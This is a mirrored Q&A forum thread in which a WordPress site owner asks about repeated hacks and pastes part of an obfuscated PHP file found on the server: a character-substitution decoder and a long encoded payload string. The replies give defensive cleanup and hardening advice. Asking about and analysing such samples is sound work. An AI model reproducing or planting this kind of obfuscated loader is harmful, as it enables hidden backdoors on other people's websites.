简体   繁体   中英

Corrupted file on my ftp server in my wordpress site

I'm in charge of Wordpress website. 1 year ago, the site had has been hacked. When someone connected on the site by typing the url, he was redirected to another "fake" site. I discovered that a line was simply in the index.php to redirect to another site. I removed the line and made a restoration of my ftp server. Before that i noticed some susicious files on the ftp server, i did not created these file, and there was some obscure php and js code, with some random char.

Recently the site had the same problem unless there was only a blank page when we connect on the site. I restored again the site. Before that i noticed some suspicious files on the ftp server, i did not created these file, and there was some obscure php and js code in it, with some random char.

All the files had almost the same date of vreation and i had no right to delete them from the server. I think that the vulnerabilities come from here but i can't find any similar case on the internet. Do someone have information about it ? I'm just looking for some information know and i don't have access to the site at the moment.

EDIT:

I have this kind of file :

    <?php
$vHMX55W = Array('1'=>'C', '0'=>'j', '3'=>'U', '2'=>'x', '5'=>'F', '4'=>'s', '7'=>'q', '6'=>'P', '9'=>'T', '8'=>'y', 'A'=>'5', 'C'=>'e', 'B'=>'G', 'E'=>'f', 'D'=>'a', 'G'=>'1', 'F'=>'2', 'I'=>'7', 'H'=>'m', 'K'=>'X', 'J'=>'n', 'M'=>'c', 'L'=>'E', 'O'=>'v', 'N'=>'M', 'Q'=>'i', 'P'=>'Q', 'S'=>'g', 'R'=>'O', 'U'=>'A', 'T'=>'I', 'W'=>'h', 'V'=>'N', 'Y'=>'S', 'X'=>'t', 'Z'=>'6', 'a'=>'3', 'c'=>'Z', 'b'=>'w', 'e'=>'R', 'd'=>'k', 'g'=>'9', 'f'=>'z', 'i'=>'J', 'h'=>'4', 'k'=>'V', 'j'=>'D', 'm'=>'0', 'l'=>'d', 'o'=>'u', 'n'=>'W', 'q'=>'8', 'p'=>'b', 's'=>'l', 'r'=>'Y', 'u'=>'K', 't'=>'H', 'w'=>'r', 'v'=>'L', 'y'=>'p', 'x'=>'o', 'z'=>'B');
function v9PSABL($vMCS1QU, $vDG7FSU){$v4ZU9QC = ''; for($i=0; $i < strlen($vMCS1QU); $i++){$v4ZU9QC .= isset($vDG7FSU[$vMCS1QU[$i]])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MtiscGgXrKe0D1S'.
'QvGhxnfLXRkGqnfLXRkGpN1mAKKb2nfUXRkGpN1mAKKb8nfUXV5GpN1'.
'mAKKb8Vk4bv9kluYWMvQWpN1mAKK2pNYmAKk4bv9slEj5pN1mAKk4bv9slEjipN1mmKk4bv9slEjTGnf'.
'UXVkmyuK4fEYPOTQbdMae8u94uEPxucJkoraeypFhScJiOpkgxpaVmu1e0pFAmcnAmuPyI1SxST1USi'.
'BWOMaPS6YzbMHkJKaisMB2WrF3xi8gCutlala2HltUyK1hODYM4i8'.
'M4P1eE3mkYkdkYn8lTk5ePKmW63GPJKYdI1SxST1USDnrSuBsfKFsbu1expaVmuYduT1UST'.
't4uT1UST1UST1z8cKeGMHhSiBVOpJespJPI1QUST1zg1QUST1UuT1UST1empFXspJNS6YzsCtz4pFesu1iUTQbSiBVOpJespJPy'.
'RbxuT1UST1e0pFAmcnAmTjmSiteODFkoMG4bKYUoT1iUTQUoT1exp'.
'aVmT1hST0hQRbxuT1USTtisltk8pQUdrFgolBkolj4uEPxucJkoraeypFhSrn2mcKiEpn50MHgfu1e0pFAmcn'.
'AmuPyI1QUST1zbMHkJKFGWlBVxKF54p1SJTa4xvQxyEYVkDYM4T1e0pFAmcnAmv1Udpn5mr'.
'FWsM8dI1SxST1UScHg8u1eyTjmSNj4SiBdS61z0pakol1Sdpn5mrFWsMG'.
'42KYdIT1eyu84y1QUST1zI1SxST1UST1UST1eoM8UgTBkhMB2OcB3xTJbQv1Udpn5mrF'.
'WsMG42Kk4dDkmyRbxST1UST1UST1e0NQUgTBVOlnAmu1eoM8dI'.
'1QUST1UST1USitiWpHPS6Yz8rnAdujU4T1SdrfTSvYU2uYdI1QUST1UST1USiBVOpJespJPS6Yz'.
'fltiEMHkbpB50cYSQC8ToiBGWlBVxcKVpNkGpiBslvQigTQbSiBAfn8'.

someone know what it is ?

This is incredibly broad. There are literally millions of possible vectors for attack on a website. The fact that you were attacked does not in itself suggest any one of those possibilities over any other.

Since you have a timestamp when the attack occurred, check server logs at that time for clues about the vector. Was there SFTP access at that time? Perhaps a legitimate user's password is compromised. Was there HTTP access at that time? Perhaps a plugin has a vulnerability and needs to be disabled or upgraded.

An attacker only needs one vulnerability to gain access to the site. It may be obvious which it was (eg, if you see SFTP activity from a known user account), or it may take extensive research to figure out what happened and how.

It's very simple: you got hacked.

Forget trying to deobfuscate the php files; they may tell you what the files do, but they won't tell you how the files got there. Delete them all.

And you won't find the exploit vector unless you carefully parse server logs and check all your plugins and theme for vulnerabilities. And the vector could have been malware on your own PC/mac that stole credentials.

The fix is simple: carefully clean the site and the hosting account by following FAQ My site was hacked - WordPress Codex. Scan your own PC/Mac and any machine that was used to access WordPress admin and the hosting account.

If this is you own server, you need to harden it, too. Try searching https://serverfault.com/ for information on your OS and how to secure and harden it.

And take a look at the recommended security measures for WordPress itself in Hardening WordPress - WordPress Codex and Brute Force Attacks - WordPress Codex

When you say you have no right to delete them, aren't you managing the site? If you do not have full administrative rights, you should contact whoever does and explain the situation so that they may handle it immediately, or at least enable you to do so.

Do you know how the site was hacked the first and second time? Obviously there is a vulnerability that needs to be addressed.

What kind of files were left behind? Can you examine/explain the contents any further than finding 'obscure' code?

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM